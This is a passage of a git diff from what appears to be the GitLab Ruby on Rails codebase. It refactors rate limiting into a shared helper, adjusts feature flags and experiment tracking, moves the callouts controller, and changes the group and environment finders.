+ before_action :check_play_rate_limit!, only: [:play]
before_action :authorize_play_pipeline_schedule!, only: [:play]
before_action :authorize_read_pipeline_schedule!
before_action :authorize_create_pipeline_schedule!, only: [:new, :create]
@@ -81,19 +81,15 @@ class Projects::PipelineSchedulesController < Projects::ApplicationController
private
- def play_rate_limit
+ def check_play_rate_limit!
return unless current_user
- if rate_limiter.throttled?(:play_pipeline_schedule, scope: [current_user, schedule])
+ check_rate_limit!(:play_pipeline_schedule, scope: [current_user, schedule]) do
flash[:alert] = _('You cannot play this scheduled pipeline at the moment. Please wait a minute.')
redirect_to pipeline_schedules_path(@project)
end
end
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
-
def schedule
@schedule ||= project.pipeline_schedules.find(params[:id])
end
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
index a2312484a9b..71dc67bb6dc 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -14,13 +14,22 @@ class Projects::PipelinesController < Projects::ApplicationController
before_action :authorize_update_pipeline!, only: [:retry, :cancel]
before_action :ensure_pipeline, only: [:show, :downloadable_artifacts]
+ before_action do
+ push_frontend_feature_flag(:jobs_tab_vue, @project, default_enabled: :yaml)
+ end
+
# Will be removed with https://gitlab.com/gitlab-org/gitlab/-/issues/225596
before_action :redirect_for_legacy_scope_filter, only: [:index], if: -> { request.format.html? }
around_action :allow_gitaly_ref_name_caching, only: [:index, :show]
+ # Will be removed with https://gitlab.com/gitlab-org/gitlab/-/issues/345074
track_redis_hll_event :charts, name: 'p_analytics_pipelines'
+ track_redis_hll_event :charts, name: 'p_analytics_ci_cd_pipelines', if: -> { should_track_ci_cd_pipelines? }
+ track_redis_hll_event :charts, name: 'p_analytics_ci_cd_deployment_frequency', if: -> { should_track_ci_cd_deployment_frequency? }
+ track_redis_hll_event :charts, name: 'p_analytics_ci_cd_lead_time', if: -> { should_track_ci_cd_lead_time? }
+
wrap_parameters Ci::Pipeline
POLLING_INTERVAL = 10_000
@@ -307,7 +316,7 @@ class Projects::PipelinesController < Projects::ApplicationController
e.control {}
e.candidate {}
- e.record!
+ e.publish_to_database
end
end
@@ -320,9 +329,21 @@ class Projects::PipelinesController < Projects::ApplicationController
e.control {}
e.candidate {}
- e.record!
+ e.publish_to_database
end
end
+
+ def should_track_ci_cd_pipelines?
+ params[:chart].blank? || params[:chart] == 'pipelines'
+ end
+
+ def should_track_ci_cd_deployment_frequency?
+ params[:chart] == 'deployment-frequency'
+ end
+
+ def should_track_ci_cd_lead_time?
+ params[:chart] == 'lead-time'
+ end
end
Projects::PipelinesController.prepend_mod_with('Projects::PipelinesController')
diff --git a/app/controllers/projects/prometheus/alerts_controller.rb b/app/controllers/projects/prometheus/alerts_controller.rb
index 312919831d4..7aebff13278 100644
--- a/app/controllers/projects/prometheus/alerts_controller.rb
+++ b/app/controllers/projects/prometheus/alerts_controller.rb
@@ -82,17 +82,17 @@ module Projects
def create_service
Projects::Prometheus::Alerts::CreateService
- .new(project, current_user, alerts_params)
+ .new(project: project, current_user: current_user, params: alerts_params)
end
def update_service
Projects::Prometheus::Alerts::UpdateService
- .new(project, current_user, alerts_params)
+ .new(project: project, current_user: current_user, params: alerts_params)
end
def destroy_service
Projects::Prometheus::Alerts::DestroyService
- .new(project, current_user, nil)
+ .new(project: project, current_user: current_user, params: nil)
end
def schedule_prometheus_update!
diff --git a/app/controllers/projects/raw_controller.rb b/app/controllers/projects/raw_controller.rb
index e86d2490282..9707b70f26f 100644
--- a/app/controllers/projects/raw_controller.rb
+++ b/app/controllers/projects/raw_controller.rb
@@ -13,7 +13,7 @@ class Projects::RawController < Projects::ApplicationController
before_action :set_ref_and_path
before_action :require_non_empty_project
before_action :authorize_download_code!
- before_action :show_rate_limit, only: [:show], unless: :external_storage_request?
+ before_action :check_show_rate_limit!, only: [:show], unless: :external_storage_request?
before_action :redirect_to_external_storage, only: :show, if: :static_objects_external_storage_enabled?
feature_category :source_code_management
@@ -33,21 +33,11 @@ class Projects::RawController < Projects::ApplicationController
@ref, @path = extract_ref(get_id)
end
- def show_rate_limit
- if rate_limiter.throttled?(:show_raw_controller, scope: [@project, @path], threshold: raw_blob_request_limit)
- rate_limiter.log_request(request, :raw_blob_request_limit, current_user)
-
+ def check_show_rate_limit!
+ check_rate_limit!(:raw_blob, scope: [@project, @path]) do
render plain: _('You cannot access the raw file. Please wait a minute.'), status: :too_many_requests
end
end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
-
- def raw_blob_request_limit
- Gitlab::CurrentSettings
- .current_application_settings
- .raw_blob_request_limit
- end
end
+
+Projects::RawController.prepend_mod
diff --git a/app/controllers/projects/repositories_controller.rb b/app/controllers/projects/repositories_controller.rb
index 8beebb52980..77826a2f789 100644
--- a/app/controllers/projects/repositories_controller.rb
+++ b/app/controllers/projects/repositories_controller.rb
@@ -3,16 +3,16 @@
class Projects::RepositoriesController < Projects::ApplicationController
include ExtractsPath
include StaticObjectExternalStorage
- include Gitlab::RateLimitHelpers
include HotlinkInterceptor
+ include Gitlab::RepositoryArchiveRateLimiter
prepend_before_action(only: [:archive]) { authenticate_sessionless_user!(:archive) }
skip_before_action :default_cache_headers, only: :archive
# Authorize
+ before_action :check_archive_rate_limiting!, only: :archive
before_action :require_non_empty_project, except: :create
- before_action :archive_rate_limit!, only: :archive
before_action :intercept_hotlinking!, only: :archive
before_action :assign_archive_vars, only: :archive
before_action :assign_append_sha, only: :archive
@@ -42,12 +42,6 @@ class Projects::RepositoriesController < Projects::ApplicationController
private
- def archive_rate_limit!
- if archive_rate_limit_reached?(current_user, @project)
- render plain: ::Gitlab::RateLimitHelpers::ARCHIVE_RATE_LIMIT_REACHED_MESSAGE, status: :too_many_requests
- end
- end
-
def repo_params
@repo_params ||= { ref: @ref, path: params[:path], format: params[:format], append_sha: @append_sha }
end
@@ -125,6 +119,12 @@ class Projects::RepositoriesController < Projects::ApplicationController
[path, nil]
end
end
+
+ def check_archive_rate_limiting!
+ check_archive_rate_limit!(current_user, @project) do
+ render(plain: _('This archive has been requested too many times. Try again later.'), status: :too_many_requests)
+ end
+ end
end
Projects::RepositoriesController.prepend_mod_with('Projects::RepositoriesController')
diff --git a/app/controllers/projects/runners_controller.rb b/app/controllers/projects/runners_controller.rb
index e841c3e3d49..62a9f8a4625 100644
--- a/app/controllers/projects/runners_controller.rb
+++ b/app/controllers/projects/runners_controller.rb
@@ -4,8 +4,6 @@ class Projects::RunnersController < Projects::ApplicationController
before_action :authorize_admin_build!
before_action :runner, only: [:edit, :update, :destroy, :pause, :resume, :show]
- layout 'project_settings'
-
feature_category :runner
def index
diff --git a/app/controllers/projects/settings/ci_cd_controller.rb b/app/controllers/projects/settings/ci_cd_controller.rb
index 4fe37352995..ef6c10d43cd 100644
--- a/app/controllers/projects/settings/ci_cd_controller.rb
+++ b/app/controllers/projects/settings/ci_cd_controller.rb
@@ -9,10 +9,10 @@ module Projects
layout 'project_settings'
before_action :authorize_admin_pipeline!
+ before_action :check_builds_available!
before_action :define_variables
before_action do
push_frontend_feature_flag(:ajax_new_deploy_token, @project)
- push_frontend_feature_flag(:ci_scoped_job_token, @project, default_enabled: :yaml)
end
helper_method :highlight_badge
diff --git a/app/controllers/projects/tree_controller.rb b/app/controllers/projects/tree_controller.rb
index f8f2c1f0836..660ebcc30d3 100644
--- a/app/controllers/projects/tree_controller.rb
+++ b/app/controllers/projects/tree_controller.rb
@@ -60,3 +60,5 @@ class Projects::TreeController < Projects::ApplicationController
}
end
end
+
+Projects::TreeController.prepend_mod
diff --git a/app/controllers/projects/usage_quotas_controller.rb b/app/controllers/projects/usage_quotas_controller.rb
index b319e427eaa..680874ffee4 100644
--- a/app/controllers/projects/usage_quotas_controller.rb
+++ b/app/controllers/projects/usage_quotas_controller.rb
@@ -9,14 +9,5 @@ class Projects::UsageQuotasController < Projects::ApplicationController
def index
@hide_search_settings = true
- @storage_app_data = {
- project_path: @project.full_path,
- usage_quotas_help_page_path: help_page_path('user/usage_quotas'),
- build_artifacts_help_page_path: help_page_path('ci/pipelines/job_artifacts', anchor: 'when-job-artifacts-are-deleted'),
- packages_help_page_path: help_page_path('user/packages/package_registry/index.md', anchor: 'delete-a-package'),
- repository_help_page_path: help_page_path('user/project/repository/reducing_the_repo_size_using_git'),
- snippets_help_page_path: help_page_path('user/snippets', anchor: 'reduce-snippets-repository-size'),
- wiki_help_page_path: help_page_path('administration/wikis/index.md', anchor: 'reduce-wiki-repository-size')
- }
end
end
diff --git a/app/controllers/projects/variables_controller.rb b/app/controllers/projects/variables_controller.rb
index f93c75a203e..e7bccf5a243 100644
--- a/app/controllers/projects/variables_controller.rb
+++ b/app/controllers/projects/variables_controller.rb
@@ -5,6 +5,8 @@ class Projects::VariablesController < Projects::ApplicationController
feature_category :pipeline_authoring
+ urgency :low, [:show, :update]
+
def show
respond_to do |format|
format.json do
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index 5b17b75a963..04dde5ef7b2 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -30,14 +30,15 @@ class ProjectsController < Projects::ApplicationController
before_action :event_filter, only: [:show, :activity]
# Project Export Rate Limit
- before_action :export_rate_limit, only: [:export, :download_export, :generate_new_export]
+ before_action :check_export_rate_limit!, only: [:export, :download_export, :generate_new_export]
before_action do
push_frontend_feature_flag(:lazy_load_commits, @project, default_enabled: :yaml)
push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:refactor_text_viewer, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:highlight_js, @project, default_enabled: :yaml)
push_frontend_feature_flag(:increase_page_size_exponentially, @project, default_enabled: :yaml)
push_frontend_feature_flag(:new_dir_modal, @project, default_enabled: :yaml)
+ push_licensed_feature(:file_locks) if @project.present? && @project.licensed_feature_available?(:file_locks)
end
layout :determine_layout
@@ -51,7 +52,9 @@ class ProjectsController < Projects::ApplicationController
feature_category :team_planning, [:preview_markdown, :new_issuable_address]
feature_category :importers, [:export, :remove_export, :generate_new_export, :download_export]
feature_category :code_review, [:unfoldered_environment_names]
+
urgency :low, [:refs]
+ urgency :high, [:unfoldered_environment_names]
def index
redirect_to(current_user ? root_path : explore_root_path)
@@ -116,7 +119,10 @@ class ProjectsController < Projects::ApplicationController
if @project.errors[:new_namespace].present?
flash[:alert] = @project.errors[:new_namespace].first
+ return redirect_to edit_project_path(@project)
end
+
+ redirect_to edit_project_path(@project)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -126,6 +132,8 @@ class ProjectsController < Projects::ApplicationController
if ::Projects::UnlinkForkService.new(@project, current_user).execute
flash[:notice] = _('The fork relationship has been removed.')
end
+
+ redirect_to edit_project_path(@project)
end
def activity
@@ -452,6 +460,7 @@ class ProjectsController < Projects::ApplicationController
:packages_enabled,
:service_desk_enabled,
:merge_commit_template,
+ :squash_commit_template,
project_setting_attributes: project_setting_attributes
] + [project_feature_attributes: project_feature_attributes]
end
@@ -535,20 +544,12 @@ class ProjectsController < Projects::ApplicationController
@project = @project.present(current_user: current_user)
end
- def export_rate_limit
+ def check_export_rate_limit!
prefixed_action = "project_#{params[:action]}".to_sym
project_scope = params[:action] == 'download_export' ? @project : nil
- if rate_limiter.throttled?(prefixed_action, scope: [current_user, project_scope].compact)
- rate_limiter.log_request(request, "#{prefixed_action}_request_limit".to_sym, current_user)
-
- render plain: _('This endpoint has been requested too many times. Try again later.'), status: :too_many_requests
- end
- end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
+ check_rate_limit!(prefixed_action, scope: [current_user, project_scope].compact)
end
def render_edit
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index 39d3125a4a3..41fd1b7a1e6 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -72,16 +72,10 @@ module Registrations
end
def show_tasks_to_be_done?
- return unless experiment(:invite_members_for_task).enabled?
-
MemberTask.for_members(current_user.members).exists?
end
# overridden in EE
- def trial_params
- end
-
- # overridden in EE
def update_success_path
end
end
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 450c12a233b..ed3facd72c5 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -210,9 +210,6 @@ class RegistrationsController < Devise::RegistrationsController
return unless member
- experiment_name = session.delete(:invite_email_experiment_name)
- experiment(:invite_email_preview_text, actor: member).track(:accepted) if experiment_name == 'invite_email_preview_text'
- experiment(:invite_email_from, actor: member).track(:accepted) if experiment_name == 'invite_email_from'
Gitlab::Tracking.event(self.class.name, 'accepted', label: 'invite_email', property: member.id.to_s)
end
diff --git a/app/controllers/repositories/git_http_client_controller.rb b/app/controllers/repositories/git_http_client_controller.rb
index b3adda8c633..c002c9b83f9 100644
--- a/app/controllers/repositories/git_http_client_controller.rb
+++ b/app/controllers/repositories/git_http_client_controller.rb
@@ -8,12 +8,9 @@ module Repositories
attr_reader :authentication_result, :redirected_path
- delegate :actor, :authentication_abilities, to: :authentication_result, allow_nil: true
+ delegate :authentication_abilities, to: :authentication_result, allow_nil: true
delegate :type, to: :authentication_result, allow_nil: true, prefix: :auth_result
- alias_method :user, :actor
- alias_method :authenticated_user, :actor
-
# Git clients will not know what authenticity token to send along
skip_around_action :set_session_storage
skip_before_action :verify_authenticity_token
@@ -22,8 +19,16 @@ module Repositories
feature_category :source_code_management
+ def authenticated_user
+ authentication_result&.user || authentication_result&.deploy_token
+ end
+
private
+ def user
+ authenticated_user
+ end
+
def download_request?
raise NotImplementedError
end
diff --git a/app/controllers/repositories/lfs_api_controller.rb b/app/controllers/repositories/lfs_api_controller.rb
index 30cafb6747e..d93d88c9e64 100644
--- a/app/controllers/repositories/lfs_api_controller.rb
+++ b/app/controllers/repositories/lfs_api_controller.rb
@@ -76,7 +76,10 @@ module Repositories
existing_oids = project.lfs_objects_oids(oids: objects_oids)
objects.each do |object|
- object[:actions] = upload_actions(object) unless existing_oids.include?(object[:oid])
+ next if existing_oids.include?(object[:oid])
+ next if should_auto_link? && oids_from_fork.include?(object[:oid]) && link_to_project!(object)
+
+ object[:actions] = upload_actions(object)
end
objects
@@ -150,6 +153,34 @@ module Repositories
Gitlab::LfsToken.new(user).basic_encoding
end
+
+ def should_auto_link?
+ return false unless Feature.enabled?(:lfs_auto_link_fork_source, project)
+ return false unless project.forked?
+
+ # Sanity check in case for some reason the user doesn't have access to the parent
+ can?(user, :download_code, project.fork_source)
+ end
+
+ def oids_from_fork
+ @oids_from_fork ||= project.lfs_objects_oids_from_fork_source(oids: objects_oids)
+ end
+
+ def link_to_project!(object)
+ lfs_object = LfsObject.for_oid_and_size(object[:oid], object[:size])
+
+ return unless lfs_object
+
+ LfsObjectsProject.link_to_project!(lfs_object, project)
+
+ Gitlab::AppJsonLogger.info(message: "LFS object auto-linked to forked project",
+ lfs_object_oid: lfs_object.oid,
+ lfs_object_size: lfs_object.size,
+ source_project_id: project.fork_source.id,
+ source_project_path: project.fork_source.full_path,
+ target_project_id: project.project_id,
+ target_project_path: project.full_path)
+ end
end
end
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index 0e285dae089..99a6dfa811e 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -5,14 +5,13 @@ class SearchController < ApplicationController
include SearchHelper
include RedisTracking
- RESCUE_FROM_TIMEOUT_ACTIONS = [:count, :show].freeze
+ RESCUE_FROM_TIMEOUT_ACTIONS = [:count, :show, :autocomplete].freeze
track_redis_hll_event :show, name: 'i_search_total'
around_action :allow_gitaly_ref_name_caching
before_action :block_anonymous_global_searches, :check_scope_global_search_enabled, except: :opensearch
- before_action :strip_surrounding_whitespace_from_search, except: :opensearch
skip_before_action :authenticate_user!
requires_cross_project_access if: -> do
search_term_present = params[:search].present? || params[:term].present?
@@ -74,11 +73,7 @@ class SearchController < ApplicationController
def autocomplete
term = params[:term]
- if params[:project_id].present?
- @project = Project.find_by(id: params[:project_id])
- @project = nil unless can?(current_user, :read_project, @project)
- end
-
+ @project = search_service.project
@ref = params[:project_ref] if params[:project_ref].present?
render json: search_autocomplete_opts(term).to_json
@@ -97,12 +92,12 @@ class SearchController < ApplicationController
def search_term_valid?
unless search_service.valid_query_length?
- flash[:alert] = t('errors.messages.search_chars_too_long', count: SearchService::SEARCH_CHAR_LIMIT)
+ flash[:alert] = t('errors.messages.search_chars_too_long', count: Gitlab::Search::Params::SEARCH_CHAR_LIMIT)
return false
end
unless search_service.valid_terms_count?
- flash[:alert] = t('errors.messages.search_terms_too_long', count: SearchService::SEARCH_TERM_LIMIT)
+ flash[:alert] = t('errors.messages.search_terms_too_long', count: Gitlab::Search::Params::SEARCH_TERM_LIMIT)
return false
end
@@ -147,10 +142,15 @@ class SearchController < ApplicationController
payload[:metadata]['meta.search.filters.confidential'] = params[:confidential]
payload[:metadata]['meta.search.filters.state'] = params[:state]
payload[:metadata]['meta.search.force_search_results'] = params[:force_search_results]
+
+ if search_service.abuse_detected?
+ payload[:metadata]['abuse.confidence'] = Gitlab::Abuse.confidence(:certain)
+ payload[:metadata]['abuse.messages'] = search_service.abuse_messages
+ end
end
def block_anonymous_global_searches
- return if params[:project_id].present? || params[:group_id].present?
+ return unless search_service.global_search?
return if current_user
return unless ::Feature.enabled?(:block_anonymous_global_searches, type: :ops)
@@ -160,7 +160,7 @@ class SearchController < ApplicationController
end
def check_scope_global_search_enabled
- return if params[:project_id].present? || params[:group_id].present?
+ return unless search_service.global_search?
search_allowed = case params[:scope]
when 'blobs'
@@ -189,20 +189,15 @@ class SearchController < ApplicationController
@timeout = true
- if count_action_name?
+ case action_name.to_sym
+ when :count
render json: {}, status: :request_timeout
+ when :autocomplete
+ render json: [], status: :request_timeout
else
render status: :request_timeout
end
end
-
- def count_action_name?
- action_name.to_sym == :count
- end
-
- def strip_surrounding_whitespace_from_search
- %i(term search).each { |param| params[param]&.strip! }
- end
end
SearchController.prepend_mod_with('SearchController')
diff --git a/app/controllers/sessions_controller.rb b/app/controllers/sessions_controller.rb
index bbd7e5d5725..7e8e3ea8789 100644
--- a/app/controllers/sessions_controller.rb
+++ b/app/controllers/sessions_controller.rb
@@ -32,7 +32,7 @@ class SessionsController < Devise::SessionsController
before_action :load_recaptcha
before_action :set_invite_params, only: [:new]
before_action do
- push_frontend_feature_flag(:webauthn)
+ push_frontend_feature_flag(:webauthn, default_enabled: :yaml)
end
after_action :log_failed_login, if: :action_new_and_failed_login?
@@ -84,6 +84,8 @@ class SessionsController < Devise::SessionsController
end
def destroy
+ headers['Clear-Site-Data'] = '"*"'
+
Gitlab::AppLogger.info("User Logout: username=#{current_user.username} ip=#{request.remote_ip}")
super
# hide the signed_out notice
@@ -303,9 +305,9 @@ class SessionsController < Devise::SessionsController
def authentication_method
if user_params[:otp_attempt]
AuthenticationEvent::TWO_FACTOR
- elsif user_params[:device_response] && Feature.enabled?(:webauthn)
+ elsif user_params[:device_response] && Feature.enabled?(:webauthn, default_enabled: :yaml)
AuthenticationEvent::TWO_FACTOR_WEBAUTHN
- elsif user_params[:device_response] && !Feature.enabled?(:webauthn)
+ elsif user_params[:device_response] && !Feature.enabled?(:webauthn, default_enabled: :yaml)
AuthenticationEvent::TWO_FACTOR_U2F
else
AuthenticationEvent::STANDARD
diff --git a/app/controllers/user_callouts_controller.rb b/app/controllers/user_callouts_controller.rb
deleted file mode 100644
index f52a09adf5a..00000000000
--- a/app/controllers/user_callouts_controller.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class UserCalloutsController < ApplicationController
- feature_category :navigation
-
- def create
- if callout.persisted?
- respond_to do |format|
- format.json { head :ok }
- end
- else
- respond_to do |format|
- format.json { head :bad_request }
- end
- end
- end
-
- private
-
- def callout
- Users::DismissUserCalloutService.new(
- container: nil, current_user: current_user, params: { feature_name: feature_name }
- ).execute
- end
-
- def feature_name
- params.require(:feature_name)
- end
-end
diff --git a/app/controllers/users/callouts_controller.rb b/app/controllers/users/callouts_controller.rb
new file mode 100644
index 00000000000..fe308d9dd1e
--- /dev/null
+++ b/app/controllers/users/callouts_controller.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Users
+ class CalloutsController < ApplicationController
+ feature_category :navigation
+
+ def create
+ if callout.persisted?
+ respond_to do |format|
+ format.json { head :ok }
+ end
+ else
+ respond_to do |format|
+ format.json { head :bad_request }
+ end
+ end
+ end
+
+ private
+
+ def callout
+ Users::DismissCalloutService.new(
+ container: nil, current_user: current_user, params: { feature_name: feature_name }
+ ).execute
+ end
+
+ def feature_name
+ params.require(:feature_name)
+ end
+ end
+end
diff --git a/app/controllers/users/group_callouts_controller.rb b/app/controllers/users/group_callouts_controller.rb
index cc27452e6a3..abca12ccea7 100644
--- a/app/controllers/users/group_callouts_controller.rb
+++ b/app/controllers/users/group_callouts_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Users
- class GroupCalloutsController < UserCalloutsController
+ class GroupCalloutsController < Users::CalloutsController
private
def callout
diff --git a/app/controllers/users/terms_controller.rb b/app/controllers/users/terms_controller.rb
index 7fbf0faa68b..f0d95b56d33 100644
--- a/app/controllers/users/terms_controller.rb
+++ b/app/controllers/users/terms_controller.rb
@@ -3,6 +3,7 @@
module Users
class TermsController < ApplicationController
include InternalRedirect
+ include OneTrustCSP
skip_before_action :authenticate_user!, only: [:index]
skip_before_action :enforce_terms!
diff --git a/app/experiments/application_experiment.rb b/app/experiments/application_experiment.rb
index 37d87baf30b..859716b4739 100644
--- a/app/experiments/application_experiment.rb
+++ b/app/experiments/application_experiment.rb
@@ -13,7 +13,6 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
super
publish_to_client
- publish_to_database if @record
end
def publish_to_client
@@ -25,6 +24,8 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
end
def publish_to_database
+ ActiveSupport::Deprecation.warn('publish_to_database is deprecated and should not be used for reporting anymore')
+
return unless should_track?
# if the context contains a namespace, group, project, user, or actor
@@ -32,18 +33,18 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
subject = value[:namespace] || value[:group] || value[:project] || value[:user] || value[:actor]
return unless ExperimentSubject.valid_subject?(subject)
- variant = :experimental if @variant_name != :control
- Experiment.add_subject(name, variant: variant || :control, subject: subject)
- end
-
- def record!
- @record = true
+ variant_name = :experimental if variant&.name != 'control'
+ Experiment.add_subject(name, variant: variant_name || :control, subject: subject)
end
def control_behavior
# define a default nil control behavior so we can omit it when not needed
end
+ def track(action, **event_args)
+ super(action, **tracking_context.merge(event_args))
+ end
+
# TODO: remove
# This is deprecated logic as of v0.6.0 and should eventually be removed, but
# needs to stay intact for actively running experiments. The new strategy
@@ -57,8 +58,25 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
Digest::MD5.hexdigest(ingredients.join('|'))
end
+ def nest_experiment(other)
+ instance_exec(:nested, { label: other.name }, &Configuration.tracking_behavior)
+ end
+
private
+ def tracking_context
+ {
+ namespace: context.try(:namespace) || context.try(:group),
+ project: context.try(:project),
+ user: user_or_actor
+ }.compact || {}
+ end
+
+ def user_or_actor
+ actor = context.try(:actor)
+ actor.respond_to?(:id) ? actor : context.try(:user)
+ end
+
def feature_flag_name
name.tr('/', '_')
end
diff --git a/app/experiments/combined_registration_experiment.rb b/app/experiments/combined_registration_experiment.rb
index da699449d77..08c015838db 100644
--- a/app/experiments/combined_registration_experiment.rb
+++ b/app/experiments/combined_registration_experiment.rb
@@ -7,14 +7,12 @@ class CombinedRegistrationExperiment < ApplicationExperiment # rubocop:disable G
super(source, 'force_company_trial')
end
- def redirect_path(trial_params)
- @trial_params = trial_params
-
+ def redirect_path
run
end
def control_behavior
- new_users_sign_up_group_path(@trial_params)
+ new_users_sign_up_group_path
end
def candidate_behavior
diff --git a/app/experiments/new_project_readme_content_experiment.rb b/app/experiments/new_project_readme_content_experiment.rb
index d9f0fb3b93e..1de7632268d 100644
--- a/app/experiments/new_project_readme_content_experiment.rb
+++ b/app/experiments/new_project_readme_content_experiment.rb
@@ -6,7 +6,7 @@ class NewProjectReadmeContentExperiment < ApplicationExperiment # rubocop:disabl
def run_with(project, variant: nil)
@project = project
- record!
+ publish_to_database
run(variant)
end
diff --git a/app/experiments/new_project_sast_enabled_experiment.rb b/app/experiments/new_project_sast_enabled_experiment.rb
index 1ab86d70134..b7b4552f0cc 100644
--- a/app/experiments/new_project_sast_enabled_experiment.rb
+++ b/app/experiments/new_project_sast_enabled_experiment.rb
@@ -12,4 +12,7 @@ class NewProjectSastEnabledExperiment < ApplicationExperiment # rubocop:disable
def free_indicator_behavior
end
+
+ def unchecked_candidate_behavior
+ end
end
diff --git a/app/finders/ci/auth_job_finder.rb b/app/finders/ci/auth_job_finder.rb
index d207a522aa8..2dbdcb3c472 100644
--- a/app/finders/ci/auth_job_finder.rb
+++ b/app/finders/ci/auth_job_finder.rb
@@ -16,7 +16,7 @@ module Ci
validate_job!(job)
- if job.user && Feature.enabled?(:ci_scoped_job_token, job.project, default_enabled: :yaml)
+ if job.user
job.user.set_ci_job_token_scope!(job)
end
end
diff --git a/app/finders/ci/runners_finder.rb b/app/finders/ci/runners_finder.rb
index 8bc2a47a024..5d597f94f72 100644
--- a/app/finders/ci/runners_finder.rb
+++ b/app/finders/ci/runners_finder.rb
@@ -15,6 +15,7 @@ module Ci
def execute
search!
+ filter_by_active!
filter_by_status!
filter_by_runner_type!
filter_by_tag_list!
@@ -60,6 +61,10 @@ module Ci
end
end
+ def filter_by_active!
+ @runners = @runners.active(@params[:active]) if @params.include?(:active)
+ end
+
def filter_by_status!
filter_by!(:status_status, Ci::Runner::AVAILABLE_STATUSES)
end
diff --git a/app/finders/environments/environments_by_deployments_finder.rb b/app/finders/environments/environments_by_deployments_finder.rb
index a41cfcb37e4..2716c80ea6e 100644
--- a/app/finders/environments/environments_by_deployments_finder.rb
+++ b/app/finders/environments/environments_by_deployments_finder.rb
@@ -12,29 +12,18 @@ module Environments
# rubocop: disable CodeReuse/ActiveRecord
def execute
- deployments = project.deployments
deployments =
if ref
deployments_query = params[:with_tags] ? 'ref = :ref OR tag IS TRUE' : 'ref = :ref'
- deployments.where(deployments_query, ref: ref.to_s)
+ Deployment.where(deployments_query, ref: ref.to_s)
elsif commit
- deployments.where(sha: commit.sha)
+ Deployment.where(sha: commit.sha)
else
- deployments.none
+ Deployment.none
end
- environments =
- if Feature.enabled?(:environments_by_deployments_finder_exists_optimization, default_enabled: :yaml)
- project.environments.available
- .where('EXISTS (?)', deployments.where('environment_id = environments.id'))
- else
- environment_ids = deployments
- .group(:environment_id)
- .select(:environment_id)
-
- project.environments.available
- .where(id: environment_ids)
- end
+ environments = project.environments.available
+ .where('EXISTS (?)', deployments.where('environment_id = environments.id'))
if params[:find_latest]
find_one(environments.order_by_last_deployed_at_desc)
diff --git a/app/finders/group_descendants_finder.rb b/app/finders/group_descendants_finder.rb
index 18ccea330af..7974710e67b 100644
--- a/app/finders/group_descendants_finder.rb
+++ b/app/finders/group_descendants_finder.rb
@@ -87,9 +87,13 @@ class GroupDescendantsFinder
visible_to_user = visible_to_user.or(authorized_to_user)
end
- hierarchy_for_parent
- .descendants
- .where(visible_to_user)
+ group_to_query = if Feature.enabled?(:linear_group_descendants_finder, current_user, default_enabled: :yaml)
+ parent_group
+ else
+ hierarchy_for_parent
+ end
+
+ group_to_query.descendants.where(visible_to_user)
# rubocop: enable CodeReuse/Finder
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -155,7 +159,13 @@ class GroupDescendantsFinder
# rubocop: disable CodeReuse/ActiveRecord
def projects_matching_filter
# rubocop: disable CodeReuse/Finder
- projects_nested_in_group = Project.where(namespace_id: hierarchy_for_parent.base_and_descendants.select(:id))
+ objects_in_hierarchy = if Feature.enabled?(:linear_group_descendants_finder, current_user, default_enabled: :yaml)
+ parent_group.self_and_descendants.as_ids
+ else
+ hierarchy_for_parent.base_and_descendants.select(:id)
+ end
+
+ projects_nested_in_group = Project.where(namespace_id: objects_in_hierarchy)
params_with_search = params.merge(search: params[:filter])
ProjectsFinder.new(params: params_with_search,
diff --git a/app/finders/groups_finder.rb b/app/finders/groups_finder.rb
index 7ea3362fba1..7e3cdd79a4c 100644
--- a/app/finders/groups_finder.rb
+++ b/app/finders/groups_finder.rb
@@ -52,7 +52,16 @@ class GroupsFinder < UnionFinder
return [Group.all] if current_user&.can_read_all_resources? && all_available?
groups = []
- groups << Gitlab::ObjectHierarchy.new(groups_for_ancestors, groups_for_descendants).all_objects if current_user
+
+ if current_user
+ if Feature.enabled?(:use_traversal_ids_groups_finder, default_enabled: :yaml)
+ groups << current_user.authorized_groups.self_and_ancestors
+ groups << current_user.groups.self_and_descendants
+ else
+ groups << Gitlab::ObjectHierarchy.new(groups_for_ancestors, groups_for_descendants).all_objects
+ end
+ end
+
groups << Group.unscoped.public_to_user(current_user) if include_public_groups?
groups << Group.none if groups.empty?
groups
@@ -72,9 +81,13 @@ class GroupsFinder < UnionFinder
.groups
.where('members.access_level >= ?', params[:min_access_level])
- Gitlab::ObjectHierarchy
- .new(groups)
- .base_and_descendants
+ if Feature.enabled?(:use_traversal_ids_groups_finder, default_enabled: :yaml)
+ groups.self_and_descendants
+ else
+ Gitlab::ObjectHierarchy
+ .new(groups)
+ .base_and_descendants
+ end
end
# rubocop: enable CodeReuse/ActiveRecord
